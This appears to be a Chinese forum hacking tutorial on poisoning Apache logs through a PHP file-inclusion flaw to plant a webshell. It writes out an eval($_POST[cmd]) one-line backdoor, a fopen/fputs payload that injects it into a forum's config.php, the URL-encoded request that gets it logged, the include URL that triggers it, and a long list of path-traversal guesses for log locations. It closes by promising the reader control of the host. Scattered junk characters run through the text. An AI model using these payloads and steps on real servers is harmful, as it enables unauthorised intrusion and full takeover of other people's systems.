php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
7 S& o  e# n1 N; e' f
, }" o; t  u$ ~* r6 X0 o$ g比如还是这句一句话木马
! N% Z/ [6 n( Z- ?! z4 j0 ~" v<?eval($_POST[cmd]);?>   
, Q1 [8 T4 v+ L+ c" G8 J. g
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 N4 }! n  c. F: K$ |
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
( o  u) \0 ^2 b3 q/ V8 Gfclose($fp);?>   //在config.php里写入一句木马语句
+ j7 m& m; e8 T8 H
& u8 F8 X6 w# {9 ?1 e我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
( L% w4 `; a1 b0 G$ `  Y%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
2 x; U! Y/ \3 c6 Y$ p! G" u( c& O/ bhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
5 p: t' t( _" Lcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
  U: T# c; x/ k1 u# f$ j
/ i0 U. m  F1 f这样就错误日志里就记录下了这行写入webshell的代码。
+ w2 M1 N/ K$ H9 e2 Y# h我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
* h6 d% X" q8 a! t8 ?( ?3 Y0 G1 @: O/ Ehttp://www.xxx.com/forum/config.php这个就成了我们的webshell
2 e; x- |: g) ^2 }直接用lanker的客户端一连，主机就是你的了。
: y  D- j; w( P* e
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
2 ]: A$ x  p/ z) Z; ~) s+ G
1 ?9 k4 i& ?7 p2 [& v7 b其他的日志路径，你可以去猜，也可以参照这里。
" e/ H: ~, k% w0 J! Q2 [" t* r, N../../../../../../../../../../var/log/httpd/access_log
2 \: i4 K: _" u! X% ~3 k: h../../../../../../../../../../var/log/httpd/error_log
+ O# S7 N9 D+ r( O7 j" o  P../apache/logs/error.log
../apache/logs/access.log
- [0 A7 x! z5 _/ ]+ A9 F% Q8 S../../apache/logs/error.log
2 G: f$ i) {- ^+ t../../apache/logs/access.log
# `( y0 ^/ q$ `../../../apache/logs/error.log
" x- ]0 q4 |3 T$ [) ]../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
6 r3 F7 Z5 S! n9 j../../../../../../../../../../etc/httpd/logs/acces.log
9 F0 O, k  \& g3 ~( Q4 f../../../../../../../../../../etc/httpd/logs/error_log
6 Q0 i+ Z+ l5 r* b../../../../../../../../../../etc/httpd/logs/error.log
$ [% x9 x; |3 D5 n2 K  ~../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
; Q$ D4 O+ z" @8 t4 M) x../../../../../../../../../../usr/local/apache/logs/access_log
* e, F. L: d8 P# m- F../../../../../../../../../../usr/local/apache/logs/access.log
5 ]8 E0 f, `. p9 d0 I& z5 d  q2 f../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
% h$ F& ^" H8 U/ Q- u* A) a7 o../../../../../../../../../../var/log/access_log
+ C" l* H; i  F7 n" k5 S- ?../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
8 b2 S0 x/ o3 Y& h; `! n; q../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
; [' }" K; g0 l+ S$ S../apache/logs/access.log
* W5 W: J5 {0 D$ x0 l" Z* {2 \../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
1 a. q8 |; I4 r  C. I$ ^1 x3 A2 a/etc/httpd/logs/acces_log
5 r% L, A( X0 c8 [$ T8 H& s3 U/etc/httpd/logs/acces.log
- f3 o: L9 \3 _. U# m/etc/httpd/logs/error_log
" q' w/ @  ]; I3 u/etc/httpd/logs/error.log
$ w! H6 W8 L+ Z+ q& W/var/www/logs/access_log
% p9 G7 u4 O& n4 [, e/var/www/logs/access.log
  d5 I8 x% r1 f3 R+ H8 j/usr/local/apache/logs/access_log
7 E* k6 A0 K8 k+ Y4 }! U# y5 Y+ \' i/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
5 J6 K$ g1 Z4 A0 T2 |7 W7 o2 E/var/log/access_log
- }2 V% _# T' d+ l5 T/var/www/logs/error_log
/var/www/logs/error.log
. Y6 Y7 j% G  V/ W; i7 w/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
. R+ g3 e; r0 u/var/log/apache/error_log
& v$ e% y! A, }6 C, s1 a/var/log/apache/error.log
/var/log/access_log
/var/log/error_log